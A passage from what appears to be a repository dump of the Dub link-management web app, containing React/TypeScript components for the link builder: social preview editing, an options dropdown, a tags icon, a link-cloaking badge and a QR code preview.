bg-neutral-200\" />\n            )}\n\n            {partner ? (\n              partner.email && (\n                <span className=\"block min-w-0 truncate text-xs font-medium leading-tight text-neutral-500\">\n                  {partner.email}\n                </span>\n              )\n            ) : (\n              <div className=\"mt-0.5 h-3 w-20 animate-pulse rounded bg-neutral-200\" />\n            )}\n          </div>\n        </div>\n        <ArrowUpRight className=\"size-3 shrink-0 -translate-x-0.5 translate-y-0.5 opacity-0 transition-[transform,opacity] group-hover:translate-x-0 group-hover:translate-y-0 group-hover:opacity-100\" />\n      </Link>\n      <div className=\"border-border-subtle grid grid-cols-1 divide-y divide-neutral-200 rounded-b-lg border-x border-b sm:grid-cols-3 sm:divide-x sm:divide-y-0\">\n        {[\n          [\n            \"Revenue\",\n            partner ? currencyFormatter(partner.totalSaleAmount) : undefined,\n          ],\n          [\n            \"Commissions\",\n            partner ? currencyFormatter(partner.totalCommissions) : undefined,\n          ],\n          [\n            \"Net revenue\",\n            partner ? currencyFormatter(partner.netRevenue) : undefined,\n          ],\n        ].map(([label, value]) => (\n          <div key={label} className=\"flex flex-col gap-1 px-4 py-3\">\n            <span className=\"text-xs font-medium text-neutral-500\">\n              {label}\n            </span>\n            {value !== undefined ? (\n              <span className=\"text-sm font-medium text-neutral-900\">\n                {value}\n              </span>\n            ) : (\n              <div className=\"h-5 w-20 animate-pulse rounded bg-neutral-200\" />\n            )}\n          </div>\n        ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/link-preview.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  LinkFormData,\n  useLinkBuilderContext,\n} from \"@/ui/links/link-builder/link-builder-provider\";\nimport { useOGModal } from \"@/ui/modals/link-builder/og-modal\";\nimport {\n  Button,\n  FileUpload,\n  Icon,\n  InfoTooltip,\n  ShimmerDots,\n  Switch,\n  TooltipContent,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport {\n  CrownSmall,\n  Facebook,\n  GlobePointer,\n  LinkedIn,\n  LoadingCircle,\n  NucleoPhoto,\n  Pen2,\n  Twitter,\n} from \"@dub/ui/icons\";\nimport { cn, getDomainWithoutWWW, resizeImage } from \"@dub/utils\";\nimport {\n  ChangeEvent,\n  ComponentType,\n  memo,\n  PropsWithChildren,\n  useCallback,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { useFormContext, useWatch } from \"react-hook-form\";\nimport ReactTextareaAutosize from \"react-textarea-autosize\";\nimport { toast } from \"sonner\";\nimport { useDebounce } from \"use-debounce\";\nimport { useLinkBuilderKeyboardShortcut } from \"./use-link-builder-keyboard-shortcut\";\n\nconst tabs = [\"default\", \"x\", \"linkedin\", \"facebook\"] as const;\ntype Tab = (typeof tabs)[number];\n\nconst tabTitles: Record<Tab, string> = {\n  default: \"Default\",\n  facebook: \"Facebook\",\n  linkedin: \"LinkedIn\",\n  x: \"X/Twitter\",\n};\n\nconst tabIcons: Record<Tab, Icon> = {\n  default: GlobePointer,\n  x: Twitter,\n  linkedin: LinkedIn,\n  facebook: Facebook,\n};\n\ntype OGPreviewProps = PropsWithChildren<{\n  title: string | null;\n  description: string | null;\n  hostname: string | null;\n  password: string | null;\n}>;\n\nconst tabComponents: Record<Tab, ComponentType<OGPreviewProps>> = {\n  default: DefaultOGPreview,\n  x: XOGPreview,\n  linkedin: LinkedInOGPreview,\n  facebook: FacebookOGPreview,\n};\n\nexport const LinkPreview = memo(() => {\n  const { slug, plan } = useWorkspace();\n  const { control, setValue } = useFormContext<LinkFormData>();\n  const [proxy, title, description, image, url, password] = useWatch({\n    control,\n    name: [\"proxy\", \"title\", \"description\", \"image\", \"url\", \"password\"],\n  });\n\n  const [debouncedUrl] = useDebounce(url, 500);\n  const hostname = useMemo(() => {\n    if (password) return \"dub.co\";\n    return getDomainWithoutWWW(debouncedUrl) ?? null;\n  }, [password, debouncedUrl]);\n\n  const { OGModal, setShowOGModal } = useOGModal();\n\n  useLinkBuilderKeyboardShortcut(\"l\", () => setShowOGModal(true));\n\n  const [selectedTab, setSelectedTab] = useState<Tab>(\"default\");\n\n  const onImageChange = (image: string) => {\n    setValue(\"image\", image, { shouldDirty: true });\n    setValue(\"proxy\", true);\n  };\n\n  const OGPreview = tabComponents[selectedTab];\n\n  return (\n    <div>\n      <OGModal />\n      <div className=\"flex items-center justify-between\">\n        <div className=\"flex items-center gap-2\">\n          <h2 className=\"text-sm font-medium text-neutral-700\">\n            Custom Link Preview\n          </h2>\n          <InfoTooltip content=\"Customize how your links look when shared on social media to improve click-through rates. When enabled, the preview settings below will be shown publicly (instead of the URL's original metatags). [Learn more.](https://dub.co/help/article/custom-link-previews)\" />\n        </div>\n\n        <Switch\n          checked={proxy}\n          fn={(checked) => setValue(\"proxy\", checked, { shouldDirty: true })}\n          disabledTooltip={\n            !url ? (\n              \"Enter a URL to enable custom link previews.\"\n            ) : !plan || plan === \"free\" ? (\n              <TooltipContent\n                title=\"Custom Link Previews are only available on the Pro plan and above.\"\n                cta=\"Upgrade to Pro\"\n                href={slug ? `/${slug}/upgrade` : \"https://dub.co/pricing\"}\n                target=\"_blank\"\n              />\n            ) : undefined\n          }\n          thumbIcon={\n            !plan || plan === \"free\" ? (\n              <CrownSmall className=\"size-full text-neutral-500\" />\n            ) : undefined\n          }\n        />\n      </div>\n      <div className=\"mt-2.5 grid grid-cols-4 gap-2\">\n        {tabs.map((tab) => {\n          const Icon = tabIcons[tab];\n          return (\n            <Button\n              key={tab}\n              variant=\"secondary\"\n              onClick={() => setSelectedTab(tab)}\n              icon={\n                <Icon className=\"size-4 text-current\" fill=\"currentColor\" />\n              }\n              className={cn(\n                \"h-7 text-neutral-800\",\n                tab === selectedTab\n                  ? \"border-neutral-400 bg-white drop-shadow-sm\"\n                  : \"border-neutral-300 bg-transparent hover:bg-white\",\n              )}\n              title={tabTitles[tab]}\n            />\n          );\n        })}\n      </div>\n      <div className=\"relative z-0 mt-2\">\n        <Button\n          type=\"button\"\n          variant=\"secondary\"\n          icon={<Pen2 className=\"mx-px size-4\" />}\n          className=\"absolute right-2 top-2 z-10 h-8 w-fit px-1.5\"\n          onClick={() => setShowOGModal(true)}\n        />\n        <OGPreview\n          title={title}\n          description={description}\n          hostname={hostname}\n          password={password}\n        >\n          <ImagePreview image={image} onImageChange={onImageChange} />\n        </OGPreview>\n      </div>\n    </div>\n  );\n});\n\nLinkPreview.displayName = \"LinkPreview\";\n\nconst ImagePreview = ({\n  image,\n  onImageChange,\n}: {\n  image: string | null;\n  onImageChange: (image: string) => void;\n}) => {\n  const { isMobile } = useMediaQuery();\n\n  const { generatingMetatags } = useLinkBuilderContext();\n\n  const inputFileRef = useRef<HTMLInputElement>(null);\n\n  const [resizing, setResizing] = useState(false);\n\n  const onInputFileChange = useCallback(\n    async (e: ChangeEvent<HTMLInputElement>) => {\n      const file = e.target.files && e.target.files[0];\n      if (!file) return;\n\n      if (file.size / 1024 / 1024 > 2) {\n        toast.error(`File size too big (max 2 MB)`);\n        return;\n      }\n\n      setResizing(true);\n\n      const src = await resizeImage(file);\n      onImageChange(src);\n\n      // Delay to prevent flickering\n      setTimeout(() => setResizing(false), 500);\n    },\n    [],\n  );\n\n  const previewImage = useMemo(() => {\n    if (generatingMetatags || resizing) {\n      return (\n        <div className=\"flex aspect-[var(--aspect,1200/630)] w-full flex-col items-center justify-center bg-neutral-100\">\n          <LoadingCircle />\n        </div>\n      );\n    }\n    if (image) {\n      return (\n        <FileUpload\n          accept=\"images\"\n          variant=\"plain\"\n          imageSrc={image}\n          onChange={async ({ file }) => {\n            setResizing(true);\n\n            onImageChange(await resizeImage(file));\n\n            // Delay to prevent flickering\n            setTimeout(() => setResizing(false), 500);\n          }}\n          loading={generatingMetatags || resizing}\n          clickToUpload={false}\n          showHoverOverlay={false}\n          accessibilityLabel=\"OG image upload\"\n        />\n      );\n    } else {\n      return (\n        <div className=\"relative aspect-[var(--aspect,1200/630)] w-full bg-white\">\n          <div className=\"absolute inset-0 opacity-0\">\n            <FileUpload\n              accept=\"images\"\n              variant=\"plain\"\n              imageSrc={image}\n              onChange={async ({ file }) => {\n                setResizing(true);\n\n                onImageChange(await resizeImage(file));\n\n                // Delay to prevent flickering\n                setTimeout(() => setResizing(false), 500);\n              }}\n              loading={generatingMetatags || resizing}\n              clickToUpload={false}\n              showHoverOverlay={false}\n              accessibilityLabel=\"OG image upload\"\n            />\n          </div>\n          {!isMobile && (\n            <ShimmerDots className=\"pointer-events-none opacity-30 [mask-image:radial-gradient(40%_80%,transparent_50%,black)]\" />\n          )}\n          <div className=\"pointer-events-none relative flex size-full flex-col items-center justify-center gap-2\">\n            <NucleoPhoto className=\"size-5 text-neutral-700\" />\n            <p className=\"max-w-32 text-center text-xs text-neutral-700\">\n              Enter a link to generate a preview\n            </p>\n          </div>\n        </div>\n      );\n    }\n  }, [image, generatingMetatags, resizing]);\n\n  return (\n    <>\n      {previewImage}\n      <input\n        key={image}\n        ref={inputFileRef}\n        onChange={onInputFileChange}\n        type=\"file\"\n        accept=\"image/png,image/jpeg\"\n        className=\"hidden\"\n      />\n    </>\n  );\n};\n\nfunction DefaultOGPreview({ title, description, children }: OGPreviewProps) {\n  const { plan } = useWorkspace();\n  const { setValue } = useFormContext<LinkFormData>();\n\n  return (\n    <div>\n      <div className=\"group relative overflow-hidden rounded-md border border-neutral-300\">\n        {children}\n      </div>\n      <ReactTextareaAutosize\n        className=\"mt-4 line-clamp-2 w-full resize-none border-none bg-transparent p-0 text-xs font-medium text-neutral-700 outline-none focus:ring-0\"\n        value={title || \"Add a title...\"}\n        maxRows={2}\n        onChange={(e) => {\n          setValue(\"title\", e.currentTarget.value, { shouldDirty: true });\n          if (plan && plan !== \"free\") {\n            setValue(\"proxy\", true, { shouldDirty: true });\n          }\n        }}\n      />\n      <ReactTextareaAutosize\n        className=\"mt-1.5 line-clamp-2 w-full resize-none border-none bg-transparent p-0 text-xs text-neutral-700/80 outline-none focus:ring-0\"\n        value={description || \"Add a description...\"}\n        maxRows={2}\n        onChange={(e) => {\n          setValue(\"description\", e.currentTarget.value, {\n            shouldDirty: true,\n          });\n          if (plan && plan !== \"free\") {\n            setValue(\"proxy\", true, { shouldDirty: true });\n          }\n        }}\n      />\n    </div>\n  );\n}\n\nfunction FacebookOGPreview({\n  title,\n  description,\n  hostname,\n  children,\n}: OGPreviewProps) {\n  const { plan } = useWorkspace();\n  const { setValue } = useFormContext<LinkFormData>();\n\n  return (\n    <div>\n      <div className=\"relative border border-neutral-300\">\n        {children}\n        {(hostname || title || description) && (\n          <div className=\"grid gap-1 border-t border-neutral-300 bg-[#f2f3f5] p-2\">\n            {hostname && (\n              <p className=\"text-xs uppercase text-[#606770]\">{hostname}</p>\n            )}\n            <input\n              className=\"truncate border-none bg-transparent p-0 text-xs font-semibold text-[#1d2129] outline-none focus:ring-0\"\n              value={title || \"Add a title...\"}\n              onChange={(e) => {\n                setValue(\"title\", e.currentTarget.value, {\n                  shouldDirty: true,\n                });\n                if (plan && plan !== \"free\") {\n                  setValue(\"proxy\", true, { shouldDirty: true });\n                }\n              }}\n            />\n            <ReactTextareaAutosize\n              className=\"mb-1 line-clamp-2 w-full resize-none rounded-md border-none bg-neutral-200 bg-transparent p-0 text-xs text-[#606770] outline-none focus:ring-0\"\n              value={description || \"Add a description...\"}\n              maxRows={2}\n              onChange={(e) => {\n                setValue(\"description\", e.currentTarget.value, {\n                  shouldDirty: true,\n                });\n                if (plan && plan !== \"free\") {\n                  setValue(\"proxy\", true, { shouldDirty: true });\n                }\n              }}\n            />\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n\nfunction LinkedInOGPreview({ title, hostname, children }: OGPreviewProps) {\n  const { plan } = useWorkspace();\n  const { setValue } = useFormContext<LinkFormData>();\n\n  return (\n    <div className=\"flex items-center gap-3 rounded-lg border border-[#8c8c8c33] px-4 py-3\">\n      <div\n        className=\"relative w-32 shrink-0 overflow-hidden rounded-lg\"\n        style={{ \"--aspect\": \"128/72\" } as any}\n      >\n        {children}\n      </div>\n      <div className=\"grid gap-2\">\n        <ReactTextareaAutosize\n          className=\"line-clamp-2 w-full resize-none border-none p-0 text-sm font-semibold text-[#000000E6] outline-none focus:ring-0\"\n          value={title || \"Add a title...\"}\n          maxRows={2}\n          onChange={(e) => {\n            setValue(\"title\", e.currentTarget.value, {\n              shouldDirty: true,\n            });\n            if (plan && plan !== \"free\") {\n              setValue(\"proxy\", true, { shouldDirty: true });\n            }\n          }}\n        />\n        <p className=\"text-xs text-[#00000099]\">{hostname || \"domain.com\"}</p>\n      </div>\n    </div>\n  );\n}\n\nfunction XOGPreview({ title, hostname, children }: OGPreviewProps) {\n  return (\n    <div>\n      <div className=\"group relative overflow-hidden rounded-2xl border border-neutral-300\">\n        {children}\n        <div className=\"absolute bottom-2 left-0 w-full px-2\">\n          <div className=\"w-fit max-w-full rounded bg-black/[0.77] px-1.5 py-px\">\n            <span className=\"block max-w-sm truncate text-xs text-white\">\n              {title || \"Add a title...\"}\n            </span>\n          </div>\n        </div>\n      </div>\n      {hostname && (\n        <p className=\"mt-1 text-xs text-[#606770]\">From {hostname}</p>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/more-dropdown.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useABTestingModal } from \"@/ui/modals/link-builder/ab-testing-modal\";\nimport { useAdvancedModal } from \"@/ui/modals/link-builder/advanced-modal\";\nimport { useExpirationModal } from \"@/ui/modals/link-builder/expiration-modal\";\nimport { usePartnersModal } from \"@/ui/modals/link-builder/partners-modal\";\nimport { usePasswordModal } from \"@/ui/modals/link-builder/password-modal\";\nimport { useTargetingModal } from \"@/ui/modals/link-builder/targeting-modal\";\nimport { ProBadgeTooltip } from \"@/ui/shared/pro-badge-tooltip\";\nimport { Button, Popover, useMediaQuery } from \"@dub/ui\";\nimport { Dots } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { useMemo, useState } from \"react\";\nimport { useFormContext } from \"react-hook-form\";\nimport { MOBILE_MORE_ITEMS, MORE_ITEMS } from \"./constants\";\nimport { LinkFormData } from \"./link-builder-provider\";\nimport { useLinkBuilderKeyboardShortcut } from \"./use-link-builder-keyboard-shortcut\";\n\nexport function MoreDropdown({\n  variant = \"page\",\n}: {\n  variant?: \"page\" | \"modal\";\n}) {\n  const { domains, defaultProgramId } = useWorkspace();\n  const { isMobile } = useMediaQuery();\n  const [openPopover, setOpenPopover] = useState(false);\n  const { watch, setValue } = useFormContext<LinkFormData>();\n\n  const data = watch();\n\n  const options = useMemo(() => {\n    return [...(isMobile ? MOBILE_MORE_ITEMS : []), ...MORE_ITEMS].filter(\n      (option) => {\n        if (option.key === \"partnerId\") return Boolean(defaultProgramId);\n        if (option.key === \"linkRetentionCleanupDisabledAt\")\n          return (\n            Boolean(\n              domains?.find((d) => d.slug === data.domain)?.linkRetentionDays,\n            ) && variant === \"page\" // only show this in full page builder\n          );\n\n        return true;\n      },\n    );\n  }, [data, isMobile, domains, defaultProgramId, variant]);\n\n  const { ABTestingModal, setShowABTestingModal } = useABTestingModal();\n  const { PasswordModal, setShowPasswordModal } = usePasswordModal();\n  const { TargetingModal, setShowTargetingModal } = useTargetingModal();\n  const { ExpirationModal, setShowExpirationModal } = useExpirationModal();\n  const { AdvancedModal, setShowAdvancedModal } = useAdvancedModal();\n  const { PartnersModal, setShowPartnerModal } = usePartnersModal();\n\n  const modalCallbacks = {\n    testVariants: setShowABTestingModal,\n    password: setShowPasswordModal,\n    targeting: setShowTargetingModal,\n    expiresAt: setShowExpirationModal,\n    advanced: setShowAdvancedModal,\n    partnerId: setShowPartnerModal,\n  };\n\n  useLinkBuilderKeyboardShortcut(\n    options.map(({ shortcutKey }) => shortcutKey),\n    (e) => {\n      const option = options.find(({ shortcutKey }) => shortcutKey === e.key);\n      if (!option) return;\n\n      const enabled =\n        \"enabled\" in option && typeof option.enabled === \"function\"\n          ? option.enabled(data)\n          : data[option.key];\n\n      setOpenPopover(false);\n      if (option.type === \"modal\") modalCallbacks[option.key]?.(true);\n      else if (enabled && option.remove) option.remove(setValue);\n      else if (!enabled && option.enable) option.enable(setValue);\n      else\n        setValue(option.key as any, !data[option.key], { shouldDirty: true });\n    },\n    { priority: 1 },\n  );\n\n  return (\n    <>\n      <ABTestingModal />\n      <PasswordModal />\n      <TargetingModal />\n      <ExpirationModal />\n      <AdvancedModal />\n      <PartnersModal />\n      <Popover\n        align=\"start\"\n        content={\n          <div className=\"grid p-1 max-sm:w-full md:min-w-80\">\n            {options.map((option) => {\n              const enabled =\n                \"enabled\" in option && typeof option.enabled === \"function\"\n                  ? option.enabled(data)\n                  : data[option.key];\n\n              return (\n                <Button\n                  type=\"button\"\n                  variant=\"outline\"\n                  key={option.key}\n                  onClick={() => {\n                    setOpenPopover(false);\n\n                    if (option.type === \"modal\")\n                      modalCallbacks[option.key]?.(true);\n                    else if (enabled && option.remove) option.remove(setValue);\n                    else if (!enabled && option.enable) option.enable(setValue);\n                    else\n                      setValue(option.key as any, !enabled, {\n                        shouldDirty: true,\n                      });\n                  }}\n                  className=\"h-9 w-full justify-start px-2 text-sm text-neutral-700\"\n                  textWrapperClassName=\"grow\"\n                  text={\n                    <div className=\"flex items-center justify-between gap-2\">\n                      <div className=\"flex items-center gap-1\">\n                        <option.icon\n                          className={cn(\n                            \"mr-1 size-4 text-neutral-950\",\n                            enabled && \"text-blue-500\",\n                          )}\n                        />\n                        {option.badgeLabel?.(data) ?? (\n                          <>\n                            {option.type === \"modal\"\n                              ? enabled ||\n                                (\"add\" in option && option.add === false)\n                                ? \"\"\n                                : \"Add \"\n                              : enabled\n                                ? \"Remove \"\n                                : \"Add \"}\n                            {option.label}\n                          </>\n                        )}\n                        {option.description && (\n                          <ProBadgeTooltip\n                            content={\n                              option.learnMoreUrl\n                                ? `${option.description} [Learn more.](${option.learnMoreUrl})`\n                                : option.description\n                            }\n                          />\n                        )}\n                      </div>\n                      <kbd className=\"hidden size-6 cursor-default items-center justify-center rounded-md border border-neutral-200 font-sans text-xs text-neutral-800 sm:flex\">\n                        {option.shortcutKey.toUpperCase()}\n                      </kbd>\n                    </div>\n                  }\n                />\n              );\n            })}\n          </div>\n        }\n        openPopover={openPopover}\n        setOpenPopover={setOpenPopover}\n      >\n        <Button\n          variant=\"secondary\"\n          icon={<Dots className=\"size-4\" />}\n          className=\"h-8 w-fit px-2\"\n        />\n      </Popover>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/multi-tags-icon.tsx",
    "content": "import { TagProps } from \"@/lib/types\";\nimport { RESOURCE_COLORS_DATA } from \"@/ui/colors\";\nimport { cn } from \"@dub/utils\";\n\nexport function MultiTagsIcon({ tags }: { tags: Pick<TagProps, \"color\">[] }) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={cn(\n        \"size-4 shrink-0\",\n        tags.length > 0 &&\n          RESOURCE_COLORS_DATA.find(({ color }) => color === tags[0].color)\n            ?.tagVariants,\n        \"bg-transparent\",\n        tags.length <= 1 && \"-translate-y-px\",\n      )}\n    >\n      <g fill=\"currentColor\">\n        {tags.length > 0 && (\n          <path\n            d=\"M1.75 4.25H7.336C7.601 4.25 7.856 4.355 8.043 4.543L13.836 10.336C14.617 11.117 14.617 12.383 13.836 13.164L10.664 16.336C9.883 17.117 8.617 17.117 7.836 16.336L2.043 10.543C1.855 10.355 1.75 10.101 1.75 9.836V4.25Z\"\n            fill=\"currentColor\"\n            fillOpacity={0.15}\n            stroke=\"none\"\n          />\n        )}\n        <path\n          d=\"M1.75 4.25H7.336C7.601 4.25 7.856 4.355 8.043 4.543L13.836 10.336C14.617 11.117 14.617 12.383 13.836 13.164L10.664 16.336C9.883 17.117 8.617 17.117 7.836 16.336L2.043 10.543C1.855 10.355 1.75 10.101 1.75 9.836V4.25Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n\n        {tags.length > 1 && (\n          <path\n            d=\"M3.25 1.75V1.25H8.836C9.101 1.25 9.356 1.355 9.543 1.543L15.336 7.336C15.768 7.768 15.961 8.348 15.915 8.913\"\n            fill=\"none\"\n            stroke=\"currentColor\"\n            strokeLinecap=\"round\"\n            strokeLinejoin=\"round\"\n            strokeWidth=\"1.5\"\n            className={cn(\n              RESOURCE_COLORS_DATA.find(({ color }) => color === tags[1].color)\n                ?.tagVariants,\n              \"bg-transparent\",\n            )}\n          />\n        )}\n        <path\n          d=\"M5.25 9C5.94036 9 6.5 8.44036 6.5 7.75C6.5 7.05964 5.94036 6.5 5.25 6.5C4.55964 6.5 4 7.05964 4 7.75C4 8.44036 4.55964 9 5.25 9Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/options-list.tsx",
    "content": "import {\n  MOBILE_MORE_ITEMS,\n  MORE_ITEMS,\n} from \"@/ui/links/link-builder/constants\";\nimport { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport { AlertCircleFill, CheckCircleFill, X } from \"@/ui/shared/icons\";\nimport { Tooltip, useMediaQuery } from \"@dub/ui\";\nimport { LoadingSpinner } from \"@dub/ui/icons\";\nimport { fetcher, isValidUrl as isValidUrlFn } from \"@dub/utils\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport { ReactNode, useMemo } from \"react\";\nimport { useFormContext, useWatch } from \"react-hook-form\";\nimport useSWR from \"swr\";\nimport { useDebounce } from \"use-debounce\";\n\nconst TOGGLES = MORE_ITEMS.filter(({ type }) => type === \"boolean\");\n\nexport function OptionsList() {\n  const { isMobile } = useMediaQuery();\n\n  const { control, setValue } = useFormContext<LinkFormData>();\n  const data = useWatch({ control });\n\n  const enabledToggles = useMemo(\n    () =>\n      TOGGLES.filter(({ key, enabled }) =>\n        // @ts-ignore - useWatch returns a deep partial, should be fixed in a future react-hook-form release\n        enabled ? enabled(data) : data[key],\n      ),\n    [data],\n  );\n\n  const enabledItems = useMemo(\n    () => [\n      ...enabledToggles,\n      ...(isMobile\n        ? // @ts-ignore - useWatch returns a deep partial, should be fixed in a future react-hook-form release\n          MOBILE_MORE_ITEMS.filter(({ enabled }) => enabled?.(data)).map(\n            (item) => ({\n              ...item,\n              // @ts-ignore - useWatch returns a deep partial, should be fixed in a future react-hook-form release\n              label: item.badgeLabel?.(data) || item.label,\n            }),\n          )\n        : []),\n    ],\n    [enabledToggles, isMobile, data],\n  );\n\n  return enabledItems.length ? (\n    <div className=\"flex flex-wrap gap-2\">\n      <AnimatePresence>\n        {enabledItems.map((item) => {\n          const Component =\n            item.key === \"rewrite\" ? LinkCloakingToggleBadge : ToggleBadge;\n          return (\n            <motion.div\n              key={item.key}\n              initial={{ opacity: 0 }}\n              animate={{ opacity: 1 }}\n              transition={{ duration: 0.1 }}\n            >\n              <Component\n                toggle={item}\n                {...(\"enabled\" in item &&\n                  typeof item.enabled === \"function\" &&\n                  // @ts-ignore - useWatch returns a deep partial, should be fixed in a future react-hook-form release\n                  item.enabled(data) && {\n                    icon: <item.icon className=\"size-3.5 text-blue-500\" />,\n                  })}\n                onRemove={() =>\n                  \"remove\" in item && typeof item.remove === \"function\"\n                    ? item.remove(setValue)\n                    : setValue(item.key as any, false, { shouldDirty: true })\n                }\n              />\n            </motion.div>\n          );\n        })}\n      </AnimatePresence>\n    </div>\n  ) : null;\n}\n\nfunction ToggleBadge({\n  toggle,\n  onRemove,\n  icon,\n}: {\n  toggle: (typeof TOGGLES)[number];\n  onRemove: () => void;\n  icon?: ReactNode;\n}) {\n  return (\n    <span className=\"group flex cursor-default items-center gap-1.5 rounded-md border border-neutral-200 bg-neutral-50 pl-1.5 text-xs text-neutral-600\">\n      {icon}\n      {toggle.label}\n      <button\n        type=\"button\"\n        onClick={onRemove}\n        className=\"-ml-1 p-1 text-neutral-400 hover:text-neutral-500\"\n      >\n        <X className=\"size-3.5\" />\n      </button>\n    </span>\n  );\n}\n\nfunction LinkCloakingToggleBadge({\n  toggle,\n  onRemove,\n}: {\n  toggle: (typeof TOGGLES)[number];\n  onRemove: () => void;\n}) {\n  const { watch } = useFormContext<LinkFormData>();\n  const [url, domain] = watch([\"url\", \"domain\"]);\n  const [debouncedUrl] = useDebounce(url, 500);\n  const isValidUrl = useMemo(\n    () => debouncedUrl && isValidUrlFn(debouncedUrl),\n    [debouncedUrl],\n  );\n\n  const { data, isLoading } = useSWR<{ iframeable: boolean }>(\n    domain && isValidUrl\n      ? `/api/links/iframeable?domain=${domain}&url=${debouncedUrl}`\n      : null,\n    fetcher,\n  );\n\n  const badge = useMemo(\n    () => (\n      <ToggleBadge\n        toggle={toggle}\n        onRemove={onRemove}\n        icon={\n          isLoading ? (\n            <LoadingSpinner className=\"size-3.5\" />\n          ) : !data ? null : data.iframeable ? (\n            <CheckCircleFill className=\"size-3.5 text-green-500\" />\n          ) : (\n            <AlertCircleFill className=\"size-3.5 text-amber-500\" />\n          )\n        }\n      />\n    ),\n    [data, isLoading],\n  );\n\n  return data ? (\n    <Tooltip\n      content={\n        data.iframeable ? (\n          <div className=\"grid max-w-lg gap-2 text-pretty p-4 text-center text-sm text-neutral-700\">\n            <div className=\"h-[250px] w-[444px] overflow-hidden rounded-lg border border-neutral-200\">\n              <iframe\n                src={url}\n                style={{\n                  zoom: 0.5,\n                }}\n                className=\"h-[500px] w-[888px]\"\n              />\n            </div>\n            <p>Your link will be successfully cloaked.</p>\n          </div>\n        ) : (\n          \"Your link is not cloakable – make sure you have the right security headers set on your target URL. [Learn more](https://dub.co/help/article/link-cloaking#link-cloaking-with-security-headers)\"\n        )\n      }\n    >\n      <div>{badge}</div>\n    </Tooltip>\n  ) : (\n    badge\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/qr-code-preview.tsx",
    "content": "import useDomain from \"@/lib/swr/use-domain\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport { QRCode } from \"@/ui/shared/qr-code\";\nimport {\n  Button,\n  InfoTooltip,\n  ShimmerDots,\n  useInViewport,\n  useLocalStorage,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { Pen2, QRCode as QRCodeIcon } from \"@dub/ui/icons\";\nimport { DUB_QR_LOGO, linkConstructor } from \"@dub/utils\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport { useMemo, useRef } from \"react\";\nimport { useFormContext, useWatch } from \"react-hook-form\";\nimport { useDebounce } from \"use-debounce\";\nimport { QRCodeDesign, useLinkQRModal } from \"../../modals/link-qr-modal\";\nimport { useLinkBuilderKeyboardShortcut } from \"./use-link-builder-keyboard-shortcut\";\n\nexport function QRCodePreview() {\n  const { isMobile } = useMediaQuery();\n  const {\n    id: workspaceId,\n    logo: workspaceLogo,\n    plan: workspacePlan,\n  } = useWorkspace();\n\n  const { control } = useFormContext<LinkFormData>();\n  const [rawKey, rawDomain] = useWatch({ control, name: [\"key\", \"domain\"] });\n  const [key] = useDebounce(rawKey, 500);\n  const [domain] = useDebounce(rawDomain, 500);\n\n  const ref = useRef<HTMLDivElement>(null);\n  const isVisible = useInViewport(ref);\n\n  const { logo: domainLogo } = useDomain({\n    slug: rawDomain,\n    enabled: isVisible,\n  });\n\n  const [data, setData] = useLocalStorage<QRCodeDesign>(\n    `qr-code-design-${workspaceId}`,\n    {\n      fgColor: \"#000000\",\n      hideLogo: true,\n    },\n  );\n\n  const shortLinkUrl = useMemo(() => {\n    return key && domain ? linkConstructor({ key, domain }) : undefined;\n  }, [key, domain]);\n\n  const hideLogo = data.hideLogo && workspacePlan !== \"free\";\n  const logo =\n    workspacePlan === \"free\"\n      ? DUB_QR_LOGO\n      : domainLogo || workspaceLogo || DUB_QR_LOGO;\n\n  const { LinkQRModal, setShowLinkQRModal } = useLinkQRModal({\n    props: {\n      domain: rawDomain,\n      key: rawKey,\n    },\n    onSave: (data) => setData(data),\n  });\n\n  useLinkBuilderKeyboardShortcut(\"q\", () => setShowLinkQRModal(true), {\n    enabled: Boolean(shortLinkUrl),\n  });\n\n  return (\n    <div ref={ref}>\n      <LinkQRModal />\n      <div className=\"flex items-center justify-between\">\n        <div className=\"flex items-center gap-2\">\n          <h2 className=\"text-sm font-medium text-neutral-700\">QR Code</h2>\n          <InfoTooltip\n            content={\n              \"Set a custom QR code design to improve click-through rates. [Learn more.](https://dub.co/help/article/custom-qr-codes)\"\n            }\n          />\n        </div>\n      </div>\n      <div className=\"relative z-0 mt-2 h-24 overflow-hidden rounded-md border border-neutral-300\">\n        <Button\n          type=\"button\"\n          variant=\"secondary\"\n          icon={<Pen2 className=\"mx-px size-4\" />}\n          className=\"absolute right-2 top-2 z-10 h-8 w-fit bg-white px-1.5\"\n          onClick={() => setShowLinkQRModal(true)}\n        />\n        {!isMobile && (\n          <ShimmerDots className=\"opacity-30 [mask-image:radial-gradient(40%_80%,transparent_50%,black)]\" />\n        )}\n        {shortLinkUrl ? (\n          <AnimatePresence mode=\"wait\">\n            <motion.div\n              key={shortLinkUrl}\n              initial={{ filter: \"blur(2px)\", opacity: 0.4 }}\n              animate={{ filter: \"blur(0px)\", opacity: 1 }}\n              exit={{ filter: \"blur(2px)\", opacity: 0.4 }}\n              transition={{ duration: 0.1 }}\n              className=\"relative flex size-full items-center justify-center\"\n            >\n              <QRCode\n                url={shortLinkUrl}\n                fgColor={data.fgColor}\n                